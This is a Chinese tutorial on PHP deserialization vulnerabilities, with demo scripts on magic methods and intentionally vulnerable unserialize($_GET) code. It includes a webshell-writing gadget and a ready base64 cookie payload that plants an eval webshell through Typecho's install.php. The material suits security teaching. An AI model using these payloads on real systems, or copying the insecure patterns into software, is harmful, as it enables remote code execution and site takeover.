PHP序列化漏洞原理

<?php 
// 序列化
//定义一个类，类名是chybeta
class chybeta{
	//定义一个变量
	var $test = 123;
}
//new一个对象，实例化
$class1 = new chybeta;
//序列化创建的对象
$class1_ser = serialize($class1);
print_r($class1_ser);
 ?>

<?php
//定义一个类user
class User
{
	//定义两个变量
	public $age=0;
	public $name='';

	//定义一个方法
	public function PrintDate(){
		echo 'User '.$this->name.' is '.$this->age.' years old.<br />';
	}
}
//反序列化
$user =unserialize('O:4:"User":2:{s:3:"age";i:20;s:4:"name";s:9:"aaaaaaaaa";}');
//调用PrintDate函数
$user->PrintDate();
?>

<?php
//定义一个类，名为TestClass
class TestClass 
{
	//定义一个变量
	public $variable='this is a string!';
	//定义一个方法
	public function PrintVariable()
	{
		echo $this->variable.'<br/>';
	}
	public function __construct()
	{
		echo '__construct<br />';
	}
	public function __destruct()
	{
		echo '__destruct<br />';
	}
	public function __toString()
	{
		return '__toString<br />';
    }
}
//创建一个对象
//__construct会被调用
$object =new TestClass();
//调用对象下的方法
$object->PrintVariable();
//对象被当做一个字符串
//__tostring会被调用
echo $object;
//脚本结束了，__destuct会被调用
?>

<?php    
  // 定义类
class User    
{    
    // 定义两个变量
    public $age = 0;    
    public $name = '';    
    // 定义方法，输出数据
    public function PrintData()    
    {    
        echo 'User ' . $this->name . ' is ' . $this->age . ' years old. <br />';    
    }    
}      
// NEW一个对象
$usr = new User();    
// 设置数据
$usr->age = 20;    
$usr->name = 'John';    
// 输出数据
$usr->PrintData();    
// 输出序列化之后的数据
echo serialize($usr);     
?>   

<?php  
//定义类
class Test    
{   
	//定义两个变量
    public $variable = 'BUZZ';    
    public $variable2 = 'OTHER'; 
    //定义方法
    public function PrintVariable()    
    {    
        echo $this->variable . '<br />';    
    }    
    public function __construct()    
    {    
        echo '__construct<br />';    
    }    
    public function __destruct()    
    {    
        echo '__destruct<br />';    
    }    
    public function __wakeup()    
    {    
        echo '__wakeup<br />';    
    }    
    public function __sleep()    
    {    
        echo '__sleep<br />';    
        return array('variable', 'variable2');    
    }    
}    
// 创建对象调用__construct
$obj = new Test();    
// 序列化对象调用__sleep
$serialized = serialize($obj);    
// 输出序列化后的字符串
print 'Serialized: ' . $serialized . '<br />';    
// 重建对象调用__wakeup
$obj2 = unserialize($serialized);    
// 调用PintVariable输出数据
$obj2->PrintVariable();    
// 脚本结束调用__destruct
?>   

<?php     
class LogFile    
{    
    // log文件名
    public $filename = 'error.log';    
    // 储存日志文件
    public function LogData($text)    
    {    
        echo 'Log some data: ' . $text . '<br />';    
        file_put_contents($this->filename, $text, FILE_APPEND);    
    }    
    // 删除日志文件
  /*ublic function __destruct()
    {
        echo '__destruct deletes "' . $this->filename . '" file. <br />';
        unlink(dirname(__FILE__) . '/' . $this->filename);
    }  */  
    public function __wakeup()
    {
      
      echo '__destruct deletes "' . $this->filename . '" file. <br />';    
      unlink(dirname(__FILE__) . '/' . $this->filename);   
      
    }
}    
?>   

<?php     
include 'logfile.php';     
// 创建一个对象
$obj = new LogFile();       
// 设置文件名和要储存的日志数据
$obj->filename = 'somefile.log';    
$obj->LogData('Test');   


// 脚本结束__destruct被调用somefile.log文件被删除
?>   

<?php    
include 'logfile.php';    
// ... 一些使用LogFile类的代码...
// 简单的类定义
class User    
{    
    // 类数据
    public $age = 0;    
    public $name = '';    
    // 输出数据
    public function PrintData()    
    {    
        echo 'User ' . $this->name . ' is ' . $this->age . ' years old. <br />';    
    }    
}    
// 重建用户输入的数据
$usr = unserialize($_GET['usr_serialized']);     
?>   

<?php    
include 'logfile.php';
//new对象，实例化
$obj = new LogFile(); 
//给对象的变量赋值1.php
$obj->filename = '1.php';  
//序列化,并打印
echo serialize($obj) . '<br />';    
//代码执行完毕，调用destruct
?> 

<?php     
class FileClass    
{    
    // 文件名
    public $filename = 'error.log';    
    // 当对象被作为一个字符串会读取这个文件
    public function __toString()    
    {    
        return file_get_contents($this->filename);    
    }    
}    
// Main User class
class User    
{    
    // Class data
    public $age = 0;    
    public $name = '';    
    // 允许对象作为一个字符串输出上面的data
    public function __toString()    
    {    
        return 'User ' . $this->name . ' is ' . $this->age . ' years old. <br />';    
    }    
}    
// 用户可控
$obj = unserialize($_GET['usr_serialized']);    
// 输出__toString
echo $obj;    
?>   

<?php    
include 'seri_evil.php';    
$fileobj = new FileClass();    
$fileobj->filename = '1.txt';    
echo serialize($fileobj);    
?> 

<?php
class Test
    {
        private $poc = '';
        public function __construct($poc)
        {
            $this->poc = $poc;
        }
        function __destruct()
        {
            if ($this->poc != '')
            {
                file_put_contents('shell.php', '<?php eval($_POST['shell']);?>');
                die('Success!!!');
            }
            else
            {
                die('fail to getshell!!!');
            }        
        }
        function __wakeup()
        {
            foreach(get_object_vars($this) as $k => $v)
            {
                $this->$k = null;
            }
            echo "waking up...n";
        }
    }
$a = new Test('shell');
$poc = serialize($a);
print($poc);

//判断是否已经安装
if (!isset($_GET['finish']) && file_exists(__TYPECHO_ROOT_DIR__ . '/config.inc.php') && empty($_SESSION['typecho'])) {
    exit;
}
// 挡掉可能的跨站请求
if (!empty($_GET) || !empty($_POST)) {
    if (empty($_SERVER['HTTP_REFERER'])) {
        exit;
    }
    $parts = parse_url($_SERVER['HTTP_REFERER']);
    if (!empty($parts['port'])) {
        $parts['host'] = "{$parts['host']}:{$parts['port']}";
    }
    if (empty($parts['host']) || $_SERVER['HTTP_HOST'] != $parts['host']) {
        exit;
    }
}

POC
Cookie: __typecho_config=YToyOntzOjc6ImFkYXB0ZXIiO086MTI6IlR5cGVjaG9fRmVlZCI6NDp7czoxOToiAFR5cGVjaG9fRmVlZABfdHlwZSI7czo4OiJBVE9NIDEuMCI7czoyMjoiAFR5cGVjaG9fRmVlZABfY2hhcnNldCI7czo1OiJVVEYtOCI7czoxOToiAFR5cGVjaG9fRmVlZABfbGFuZyI7czoyOiJ6aCI7czoyMDoiAFR5cGVjaG9fRmVlZABfaXRlbXMiO2E6MTp7aTowO2E6MTp7czo2OiJhdXRob3IiO086MTU6IlR5cGVjaG9fUmVxdWVzdCI6Mjp7czoyNDoiAFR5cGVjaG9fUmVxdWVzdABfcGFyYW1zIjthOjE6e3M6MTA6InNjcmVlbk5hbWUiO3M6NTc6ImZpbGVfcHV0X2NvbnRlbnRzKCdwMC5waHAnLCAnPD9waHAgQGV2YWwoJF9QT1NUW3AwXSk7Pz4nKSI7fXM6MjQ6IgBUeXBlY2hvX1JlcXVlc3QAX2ZpbHRlciI7YToxOntpOjA7czo2OiJhc3NlcnQiO319fX19czo2OiJwcmVmaXgiO3M6NzoidHlwZWNobyI7fQ==
Referer:http://IP/install.php

<?php  
class Flag{//flag.php
    public $file;  
    public function __tostring(){  
        if(isset($this->file)){  
            echo file_get_contents($this->file); 
			echo "<br>";
		return ("good");
        }  
    }  
} 
$f = new Flag();
$f->file="flag.php";
echo serialize($f);
?>